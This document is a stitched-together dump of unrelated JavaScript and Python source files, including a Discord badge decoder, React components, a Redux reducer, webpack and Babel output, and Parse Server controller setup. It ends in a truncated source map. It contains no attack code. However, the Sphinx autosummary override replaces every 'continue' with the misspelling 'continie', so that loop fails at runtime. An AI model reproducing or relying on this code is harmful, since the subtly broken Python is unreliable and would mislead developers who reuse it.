`${Emotes.flags.EARLY_VERIFIED_DEVELOPER} Early Verfied Bot Developer: **${botdeveloper}**`,
`${Emotes.flags.EARLY_SUPPORTER} Early Supporter: **${earlysupport}**`,
];
const embed = new Discord.MessageEmbed()
.setColor(global.config.embedColor)
.setDescription(desc.join("\n"))
.setFooter(
await this.client.bulbutils.translate("global_executed_by", message.guild.id, {
user_name: await this.client.bulbutils.userObject(true, message.member).username,
user_discriminator: await this.client.bulbutils.userObject(true, message.member).discriminator,
}),
await this.client.bulbutils.userObject(true, message.member).avatarUrl,
)
.setTimestamp();
return message.channel.send(embed);
}
};
function Badge(bitfield) {
let badges = [];
const staff = 1 << 0;
const partner = 1 << 1;
const hypesquad_events = 1 << 2;
const bughunter_green = 1 << 3;
const hypesquad_bravery = 1 << 6;
const hypesquad_brilliance = 1 << 7;
const hypesquad_balance = 1 << 8;
const earlysupport = 1 << 9;
const bughunter_gold = 1 << 14;
const botdeveloper = 1 << 17;
if ((bitfield & staff) === staff) badges.push("STAFF");
if ((bitfield & partner) === partner) badges.push("PARTNERED_SERVER_OWNER");
if ((bitfield & hypesquad_events) === hypesquad_events) badges.push("HYPESQUAD_EVENTS");
if ((bitfield & hypesquad_bravery) === hypesquad_bravery) badges.push("HOUSE_BRAVERY");
if ((bitfield & hypesquad_brilliance) === hypesquad_brilliance) badges.push("HOUSE_BRILLIANCE");
if ((bitfield & hypesquad_balance) === hypesquad_balance) badges.push("HOUSE_BALANCE");
if ((bitfield & bughunter_green) === bughunter_green) badges.push("BUGHUNTER_LEVEL_1");
if ((bitfield & bughunter_gold) === bughunter_gold) badges.push("BUGHUNTER_LEVEL_2");
if ((bitfield & botdeveloper) === botdeveloper) badges.push("EARLY_VERIFIED_DEVELOPER");
if ((bitfield & earlysupport) === earlysupport) badges.push("EARLY_SUPPORTER");
return badges;
}
|
import * as React from "react";
var ClrKeyAlerted = function() {
return React.createElement(
"svg",
{
version: "1.1",
viewBox: "0 0 36 36",
preserveAspectRatio: "xMidYMid meet",
xmlns: "http://www.w3.org/2000/svg",
focusable: "false",
role: "img",
xmlnsXlink: "http://www.w3.org/1999/xlink"
},
React.createElement("rect", {
x: "6.33",
y: "10.71",
width: "9.71",
height: "2.57",
rx: "1",
ry: "1",
transform: "translate(-5.21 11.43) rotate(-45)"
}),
React.createElement("path", {
d:
"M23.35,16.8l.63-.63a5,5,0,0,0,.63-.77H22.23l-.29,0L20.52,16.8,32,28.28V32H28.86l-1.77-1.76v-2.8H23.41v-3H18.8l-3-3L14,23.31a3,3,0,0,1-4.24,0L4.5,18a3,3,0,0,1,0-4.24l8.56-8.56a3,3,0,0,1,4.24,0L20.1,8.06l1-1.79L18.71,3.84a5,5,0,0,0-7.07,0L3.09,12.39a5,5,0,0,0,0,7.07l5.26,5.26a5,5,0,0,0,7.07,0l.4-.4L18,26.48h3.44v3h3.69v1.63L28,34h6V27.45Z"
}),
React.createElement("path", {
d:
"M26.85,1.14,21.13,11A1.28,1.28,0,0,0,22.23,13H33.68A1.28,1.28,0,0,0,34.78,11L29.06,1.14A1.28,1.28,0,0,0,26.85,1.14Z"
})
);
};
export default ClrKeyAlerted;
|
import { SET_PATIENT, SET_GOALS, CHANGE_GOAL } from "./actionType";
import defaultGoals from "../defaultGoals.js";
export const initialState = {
googleId: "",
firstname: "",
lastname: "",
fullname: "",
email: "",
datasets: [
{ name: "55423-8", measurements: [] },
{ name: "29463-7", measurements: [] },
{ name: "77595-7", measurements: [] }
],
goals: defaultGoals
};
export default function patientReducer(state = initialState, action) {
switch (action.type) {
case SET_PATIENT: {
return {
...state,
googleId: action.googleId,
firstname: action.firstname,
lastname: action.lastname,
fullname: action.firstname + " " + action.lastname,
email: action.email,
datasets: action.datasets
};
}
case SET_GOALS: {
return {
...state,
goals: action.goals
};
}
case CHANGE_GOAL: {
let newGoals = { ...state.goals };
newGoals[action.goalName] = action.goal;
return {
...state,
goals: newGoals
};
}
default:
return state;
}
}
|
import React, { PureComponent } from 'react'
import Table from 'components/tables/Table/Table'
import styles from 'components/tables/Table/Table.scss'
import RowHistory from './RowHistory/RowHistory'
export default class SwapsHistory extends PureComponent {
render() {
let { orders } = this.props
const titles = [ 'Avatar', 'Exchange', 'You buy', 'You sell', 'Exchange rate', 'Status refund', 'Status order', 'Lock time', 'Link' ]
if (orders === null || orders.length === 0) {
return null
}
return (
<div style={{ marginBottom: '50px' }}>
<h3>Swaps history</h3>
<Table
id="table-history"
classTitle={styles.historySwap}
titles={titles}
rows={orders}
rowRender={(row, index) => (
<RowHistory
key={index}
row={row}
/>
)}
/>
</div>
)
}
}
|
import sphinx
from sphinx.ext.autosummary import *
from distutils.version import LooseVersion
class FixedAutosummary(Autosummary):
def get_items(self, names):
"""Try to import the given names, and return a list of
``[(name, signature, summary_string, real_name), ...]``.
"""
env = self.state.document.settings.env
prefixes = get_import_prefixes_from_env(env)
items = []
max_item_chars = 50
for name in names:
display_name = name
if name.startswith('~'):
name = name[1:]
display_name = name.split('.')[-1]
try:
real_name, obj, parent, modname = import_by_name(name, prefixes=prefixes)
except ImportError:
self.warn('failed to import %s' % name)
items.append((name, '', '', name))
continie
self.result = ViewList() # initialize for each documenter
full_name = real_name
if not isinstance(obj, ModuleType):
# give explicitly separated module name, so that members
# of inner classes can be documented
full_name = modname + '::' + full_name[len(modname)+1:]
# NB. using full_name here is important, since Documenters
# handle module prefixes slightly differently
documenter = get_documenter(obj, parent)(self, full_name)
if not documenter.parse_name():
self.warn('failed to parse name %s' % real_name)
items.append((display_name, '', '', real_name))
continie
if not documenter.import_object():
self.warn('failed to import object %s' % real_name)
items.append((display_name, '', '', real_name))
continie
if documenter.options.members and not documenter.check_module():
continie
# try to also get a source code analyzer for attribute docs
try:
documenter.analyzer = ModuleAnalyzer.for_module(
documenter.get_real_modname())
# parse right now, to get PycodeErrors on parsing (results will
# be cached anyway)
documenter.analyzer.find_attr_docs()
except PycodeError as err:
documenter.env.app.debug(
'[autodoc] module analyzer failed: %s', err)
# no source file -- e.g. for builtin and C modules
documenter.analyzer = None
# -- Grab the signature
sig = documenter.format_signature()
if not sig:
sig = ''
else:
max_chars = max(10, max_item_chars - len(display_name))
sig = mangle_signature(sig, max_chars=max_chars)
sig = sig.replace('*', r'\*')
# -- Grab the summary
documenter.add_content(None)
doc = list(documenter.process_doc([self.result.data]))
while doc and not doc[0].strip():
doc.pop(0)
# If there's a blank line, then we can assume the first sentence /
# paragraph has ended, so anything after shouldn't be part of the
# summary
for i, piece in enumerate(doc):
if not piece.strip():
doc = doc[:i]
break
# Try to find the "first sentence", which may span multiple lines
m = re.search(r"^([A-Z].*?\.)(?:\s|$)", " ".join(doc).strip())
if m:
summary = m.group(1).strip()
elif doc:
summary = doc[0].strip()
else:
summary = ''
items.append((display_name, sig, summary, real_name))
return items
def setup(app):
# need to make sure autosummary is already setup so we can override it below
app.setup_extension('sphinx.ext.autosummary')
if LooseVersion(sphinx.__version__) <= LooseVersion('1.3.1'):
app.add_directive('autosummary', FixedAutosummary)
|
"use strict";
function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var React = _interopRequireWildcard(require("react"));
var _constants = require("./constants.js");
function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }
function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }
function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }
function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }
function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }
function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }
function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }
function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }
function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }
function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }
function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }
function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }
function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
var StatefulContainer = /*#__PURE__*/function (_React$Component) {
_inherits(StatefulContainer, _React$Component);
var _super = _createSuper(StatefulContainer);
function StatefulContainer(props) {
var _this;
_classCallCheck(this, StatefulContainer);
_this = _super.call(this, props);
_defineProperty(_assertThisInitialized(_this), "onChange", function (data) {
var date = data.date;
_this.internalSetState(_constants.STATE_CHANGE_TYPE.change, {
value: date
});
if (typeof _this.props.onChange === 'function') {
_this.props.onChange(data);
}
});
var value = props.range ? [] : null;
_this.state = _objectSpread({
value: value
}, props.initialState);
return _this;
}
_createClass(StatefulContainer, [{
key: "internalSetState",
value: function internalSetState(type, changes) {
var stateReducer = this.props.stateReducer;
this.setState(function (prevState) {
return stateReducer(type, changes, prevState);
});
}
}, {
key: "render",
value: function render() {
var _this$props = this.props,
children = _this$props.children,
initialState = _this$props.initialState,
stateReducer = _this$props.stateReducer,
restProps = _objectWithoutProperties(_this$props, ["children", "initialState", "stateReducer"]);
return this.props.children(_objectSpread(_objectSpread({}, restProps), {}, {
value: this.state.value,
onChange: this.onChange
}));
}
}]);
return StatefulContainer;
}(React.Component);
_defineProperty(StatefulContainer, "defaultProps", {
initialState: {},
stateReducer: function stateReducer(type, nextState) {
return nextState;
},
onChange: function onChange() {}
});
var _default = StatefulContainer;
exports.default = _default;
|
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, {
/******/ configurable: false,
/******/ enumerable: true,
/******/ get: getter
/******/ });
/******/ }
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports) {
document.write('<h1>Hello World</h1>');
/***/ })
/******/ ]);
|
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.getControllers = getControllers;
exports.getLoggerController = getLoggerController;
exports.getFilesController = getFilesController;
exports.getUserController = getUserController;
exports.getCacheController = getCacheController;
exports.getParseGraphQLController = getParseGraphQLController;
exports.getAnalyticsController = getAnalyticsController;
exports.getLiveQueryController = getLiveQueryController;
exports.getDatabaseController = getDatabaseController;
exports.getHooksController = getHooksController;
exports.getPushController = getPushController;
exports.getAuthDataManager = getAuthDataManager;
exports.getDatabaseAdapter = getDatabaseAdapter;
var _Auth = _interopRequireDefault(require("../Adapters/Auth"));
var _Options = require("../Options");
var _AdapterLoader = require("../Adapters/AdapterLoader");
var _defaults = _interopRequireDefault(require("../defaults"));
var _url = _interopRequireDefault(require("url"));
var _LoggerController = require("./LoggerController");
var _FilesController = require("./FilesController");
var _HooksController = require("./HooksController");
var _UserController = require("./UserController");
var _CacheController = require("./CacheController");
var _LiveQueryController = require("./LiveQueryController");
var _AnalyticsController = require("./AnalyticsController");
var _PushController = require("./PushController");
var _PushQueue = require("../Push/PushQueue");
var _PushWorker = require("../Push/PushWorker");
var _DatabaseController = _interopRequireDefault(require("./DatabaseController"));
var _SchemaCache = _interopRequireDefault(require("./SchemaCache"));
var _GridFSBucketAdapter = require("../Adapters/Files/GridFSBucketAdapter");
var _WinstonLoggerAdapter = require("../Adapters/Logger/WinstonLoggerAdapter");
var _InMemoryCacheAdapter = require("../Adapters/Cache/InMemoryCacheAdapter");
var _AnalyticsAdapter = require("../Adapters/Analytics/AnalyticsAdapter");
var _MongoStorageAdapter = _interopRequireDefault(require("../Adapters/Storage/Mongo/MongoStorageAdapter"));
var _PostgresStorageAdapter = _interopRequireDefault(require("../Adapters/Storage/Postgres/PostgresStorageAdapter"));
var _pushAdapter = _interopRequireDefault(require("@parse/push-adapter"));
var _ParseGraphQLController = _interopRequireDefault(require("./ParseGraphQLController"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }
function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
function getControllers(options) {
const loggerController = getLoggerController(options);
const filesController = getFilesController(options);
const userController = getUserController(options);
const {
pushController,
hasPushScheduledSupport,
hasPushSupport,
pushControllerQueue,
pushWorker
} = getPushController(options);
const cacheController = getCacheController(options);
const analyticsController = getAnalyticsController(options);
const liveQueryController = getLiveQueryController(options);
const databaseController = getDatabaseController(options, cacheController);
const hooksController = getHooksController(options, databaseController);
const authDataManager = getAuthDataManager(options);
const parseGraphQLController = getParseGraphQLController(options, {
databaseController,
cacheController
});
return {
loggerController,
filesController,
userController,
pushController,
hasPushScheduledSupport,
hasPushSupport,
pushWorker,
pushControllerQueue,
analyticsController,
cacheController,
parseGraphQLController,
liveQueryController,
databaseController,
hooksController,
authDataManager
};
}
function getLoggerController(options) {
const {
appId,
jsonLogs,
logsFolder,
verbose,
logLevel,
maxLogFiles,
silent,
loggerAdapter
} = options;
const loggerOptions = {
jsonLogs,
logsFolder,
verbose,
logLevel,
silent,
maxLogFiles
};
const loggerControllerAdapter = (0, _AdapterLoader.loadAdapter)(loggerAdapter, _WinstonLoggerAdapter.WinstonLoggerAdapter, loggerOptions);
return new _LoggerController.LoggerController(loggerControllerAdapter, appId, loggerOptions);
}
function getFilesController(options) {
const {
appId,
databaseURI,
filesAdapter,
databaseAdapter,
preserveFileName
} = options;
if (!filesAdapter && databaseAdapter) {
throw 'When using an explicit database adapter, you must also use an explicit filesAdapter.';
}
const filesControllerAdapter = (0, _AdapterLoader.loadAdapter)(filesAdapter, () => {
return new _GridFSBucketAdapter.GridFSBucketAdapter(databaseURI);
});
return new _FilesController.FilesController(filesControllerAdapter, appId, {
preserveFileName
});
}
function getUserController(options) {
const {
appId,
emailAdapter,
verifyUserEmails
} = options;
const emailControllerAdapter = (0, _AdapterLoader.loadAdapter)(emailAdapter);
return new _UserController.UserController(emailControllerAdapter, appId, {
verifyUserEmails
});
}
function getCacheController(options) {
const {
appId,
cacheAdapter,
cacheTTL,
cacheMaxSize
} = options;
const cacheControllerAdapter = (0, _AdapterLoader.loadAdapter)(cacheAdapter, _InMemoryCacheAdapter.InMemoryCacheAdapter, {
appId: appId,
ttl: cacheTTL,
maxSize: cacheMaxSize
});
return new _CacheController.CacheController(cacheControllerAdapter, appId);
}
function getParseGraphQLController(options, controllerDeps) {
return new _ParseGraphQLController.default(_objectSpread({
mountGraphQL: options.mountGraphQL
}, controllerDeps));
}
function getAnalyticsController(options) {
const {
analyticsAdapter
} = options;
const analyticsControllerAdapter = (0, _AdapterLoader.loadAdapter)(analyticsAdapter, _AnalyticsAdapter.AnalyticsAdapter);
return new _AnalyticsController.AnalyticsController(analyticsControllerAdapter);
}
function getLiveQueryController(options) {
return new _LiveQueryController.LiveQueryController(options.liveQuery);
}
function getDatabaseController(options, cacheController) {
const {
databaseURI,
databaseOptions,
collectionPrefix,
schemaCacheTTL,
enableSingleSchemaCache
} = options;
let {
databaseAdapter
} = options;
if ((databaseOptions || databaseURI && databaseURI !== _defaults.default.databaseURI || collectionPrefix !== _defaults.default.collectionPrefix) && databaseAdapter) {
throw 'You cannot specify both a databaseAdapter and a databaseURI/databaseOptions/collectionPrefix.';
} else if (!databaseAdapter) {
databaseAdapter = getDatabaseAdapter(databaseURI, collectionPrefix, databaseOptions);
} else {
databaseAdapter = (0, _AdapterLoader.loadAdapter)(databaseAdapter);
}
return new _DatabaseController.default(databaseAdapter, new _SchemaCache.default(cacheController, schemaCacheTTL, enableSingleSchemaCache));
}
function getHooksController(options, databaseController) {
const {
appId,
webhookKey
} = options;
return new _HooksController.HooksController(appId, databaseController, webhookKey);
}
function getPushController(options) {
const {
scheduledPush,
push
} = options;
const pushOptions = Object.assign({}, push);
const pushQueueOptions = pushOptions.queueOptions || {};
if (pushOptions.queueOptions) {
delete pushOptions.queueOptions;
} // Pass the push options too as it works with the default
const pushAdapter = (0, _AdapterLoader.loadAdapter)(pushOptions && pushOptions.adapter, _pushAdapter.default, pushOptions); // We pass the options and the base class for the adatper,
// Note that passing an instance would work too
const pushController = new _PushController.PushController();
const hasPushSupport = !!(pushAdapter && push);
const hasPushScheduledSupport = hasPushSupport && scheduledPush === true;
const {
disablePushWorker
} = pushQueueOptions;
const pushControllerQueue = new _PushQueue.PushQueue(pushQueueOptions);
let pushWorker;
if (!disablePushWorker) {
pushWorker = new _PushWorker.PushWorker(pushAdapter, pushQueueOptions);
}
return {
pushController,
hasPushSupport,
hasPushScheduledSupport,
pushControllerQueue,
pushWorker
};
}
function getAuthDataManager(options) {
const {
auth,
enableAnonymousUsers
} = options;
return (0, _Auth.default)(auth, enableAnonymousUsers);
}
function getDatabaseAdapter(databaseURI, collectionPrefix, databaseOptions) {
let protocol;
try {
const parsedURI = _url.default.parse(databaseURI);
protocol = parsedURI.protocol ? parsedURI.protocol.toLowerCase() : null;
} catch (e) {
/* */
}
switch (protocol) {
case 'postgres:':
return new _PostgresStorageAdapter.default({
uri: databaseURI,
collectionPrefix,
databaseOptions
});
default:
return new _MongoStorageAdapter.default({
uri: databaseURI,
collectionPrefix,
mongoOptions: databaseOptions
});
}
}
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL3NyYy9Db250cm9sbGVycy9pbmRleC5qcyJdLCJuYW1lcyI6WyJnZXRDb250cm9sbGVycyIsIm9wdGlvbnMiLCJsb2dnZXJDb250cm9sbGVyIiwiZ2V0TG9nZ2VyQ29udHJvbGxlciIsImZpbGVzQ29udHJvbGxlciIsImdldEZpbGVzQ29udHJvbGxlciIsInVzZXJDb250cm9sbGVyIiwiZ2V0VXNlckNvbnRyb2xsZXIiLCJwdXNoQ29udHJvbGxlciIsImhhc1B1c2hTY2hlZHVsZWRTdXBwb3J0IiwiaGFzUHVzaFN1cHBvcnQiLCJwdXNoQ29udHJvbGxlclF1ZXVlIiwicHVzaFdvcmtlciIsImdldFB1c2hDb250cm9sbGVyIiwiY2FjaGVDb250cm9sbGVyIiwiZ2V0Q2FjaGVDb250cm9sbGVyIiwiYW5hbHl0aWNzQ29udHJvbGxlciIsImdldEFuYWx5dGljc0NvbnRyb2xsZXIiLCJsaXZlUXVlcnlDb250cm9sbGVyIiwiZ2V0TGl2ZVF1ZXJ5Q29udHJvbGxlciIsImRhdGFiYXNlQ29udHJvbGxlciIsImdldERhdGFiYXNlQ29udHJvbGxlciIsImhvb2tzQ29udHJvbGxlciIsImdldEhvb2tzQ29udHJvbGxlciIsImF1dGhEYXRhTWFuYWdlciIsImdldEF1dGhEYXRhTWFuYWdlciIsInBhcnNlR3JhcGhRTENvbnRyb2xsZXIiLCJnZXRQYXJzZUdyYXBoUUxDb250cm9sbGVyIiwiYXBwSWQiLCJqc29uTG9ncyIsImxvZ3NGb2xkZXIiLCJ2ZXJib3NlIiwibG9nTGV2ZWwiLCJtYXhMb2dGaWxlcyIsInNpbGVudCIsImxvZ2dlckFkYXB0ZXIiLCJsb2dnZXJPcHRpb25zIiwibG9nZ2VyQ29udHJvbGxlckFkYXB0ZXIiLCJXaW5zdG9uTG9nZ2VyQWRhcHRlciIsIkxvZ2dlckNvbnRyb2xsZXIiLCJkYXRhYmFzZVVSSSIsImZpbGVzQWRhcHRlciIsImRhdGFiYXNlQWRhcHRlciIsInByZXNlcnZlRmlsZU5hbWUiLCJmaWxlc0NvbnRyb2xsZXJBZGFwdGVyIiwiR3JpZEZTQnVja2V0QWRhcHRlciIsIkZpbGVzQ29udHJvbGxlciIsImVtYWlsQWRhcHRlciIsInZlcmlmeVVzZXJFbWFpbHMiLCJlbWFpbENvbnRyb2xsZXJBZGFwdGVyIiwiVXNlckNvbnRyb2xsZXIiLCJjYWNoZUFkYXB0ZXIiLCJjYWNoZVRUTCIsImNhY2hlTWF4U2l6ZSIsImNhY2hlQ29udHJvbGxlckFkYXB0ZXIiLCJJbk1lbW9yeUNhY2hlQWRhcHRlciIsInR0bCIsIm1heFNpemUiLCJDYWNoZUNvbnRyb2xsZXIiLCJjb250cm9sbGVyRGVwcyIsIlBhcnNlR3JhcGhRTENvbnRyb2xsZXIiLCJtb3VudEdyYXBoUUwiLCJhbmFseXRpY3NBZGFwdGVyIiwiYW5hbHl0aWNzQ29udHJvbGxlckFkYXB0ZXIiLCJBbmFseXRpY3NBZGFwdGVyIiwiQW5hbHl0aWNzQ29udHJvbGxlciIsIkxpdmVRdWVyeUNvbnRyb2xsZXIiLCJsaXZlUXVlcnkiLCJkYXRhYmFzZU9wdGlvbnMiLCJjb2xsZWN0aW9uUHJlZml4Iiwic2NoZW1hQ2FjaGVUVEwiLCJlbmFibGVTaW5nbGVTY2hlbWFDYWNoZSIsImRlZmF1bHRzIiwiZ2V0RGF0YWJhc2VBZGFwdGVyIiwiRGF0YWJhc2VDb250cm9sbGVyIiwiU2NoZW1hQ2FjaGUiLCJ3ZWJob29rS2V5IiwiSG9va3NDb250cm9sbGVyIiwic2NoZWR1bGVkUHVzaCIsInB1c2giLCJwdXNoT3B0aW9ucyIsIk9iamVjdCIsImFzc2lnbiIsInB1c2hRdWV1ZU9wdGlvbnMiLCJxdWV1ZU9wdGlvbnMiLCJwdXNoQWRhcHRlciIsImFkYXB0ZXIiLCJQYXJzZVB1c2hBZGFwdGVyIiwiUHVzaENvbnRyb2xsZXIiLCJkaXNhYmxlUHVzaFdvcmtlciIsIlB1c2hRdWV1ZSIsIlB1c2hXb3JrZXIiLCJhdXRoIiwiZW5hYmxlQW5vbnltb3VzVXNlcnMiLCJwcm90b2NvbCIsInBhcnNlZFVSSSIsInVybCIsInBhcnNlIiwidG9Mb3dlckNhc2UiLCJlIiwiUG9zdGdyZXNTdG9yYWdlQWRhcHRlciIsInVyaSIsIk1vbmdvU3RvcmFnZUFkYXB0ZXIiLCJtb25nb09wdGlvbnMiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFBQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFFQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFHQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7Ozs7Ozs7OztBQUVPLFNBQVNBLGNBQVQsQ0FBd0JDLE9BQXhCLEVBQXFEO0FBQzFELFFBQU1DLGdCQUFnQixHQUFHQyxtQkFBbUIsQ0FBQ0YsT0FBRCxDQUE1QztBQUNBLFFBQU1HLGVBQWUsR0FBR0Msa0JBQWtCLENBQUNKLE9BQUQsQ0FBMUM7QUFDQSxRQUFNSyxjQUFjLEdBQUdDLGlCQUFpQixDQUFDTixPQUFELENBQXhDO0FBQ0EsUUFBTTtBQUNKTyxJQUFBQSxjQURJO0FBRUpDLElBQUFBLHVCQUZJO0FBR0pDLElBQUFBLGNBSEk7QUFJSkMsSUFBQUEsbUJBSkk7QUFLSkMsSUFBQUE7QUFMSSxNQU1GQyxpQkFBaUIsQ0FBQ1osT0FBRCxDQU5yQjtBQU9BLFFBQU1hLGVBQWUsR0FBR0Msa0JBQWtCLENBQUNkLE9BQUQsQ0FBMUM7QUFDQSxRQUFNZSxtQkFBbUIsR0FBR0Msc0JBQXNCLENBQUNoQixPQUFELENBQWxEO0FBQ0EsUUFBTWlCLG1CQUFtQixHQUFHQyxzQkFBc0IsQ0FBQ2xCLE9BQUQsQ0FBbEQ7QUFDQSxRQUFNbUIsa0JBQWtCLEdBQUdDLHFCQUFxQixDQUFDcEIsT0FBRCxFQUFVYSxlQUFWLENBQWhEO0FBQ0EsUUFBTVEsZUFBZSxHQUFHQyxrQkFBa0IsQ0FBQ3RCLE9BQUQsRUFBVW1CLG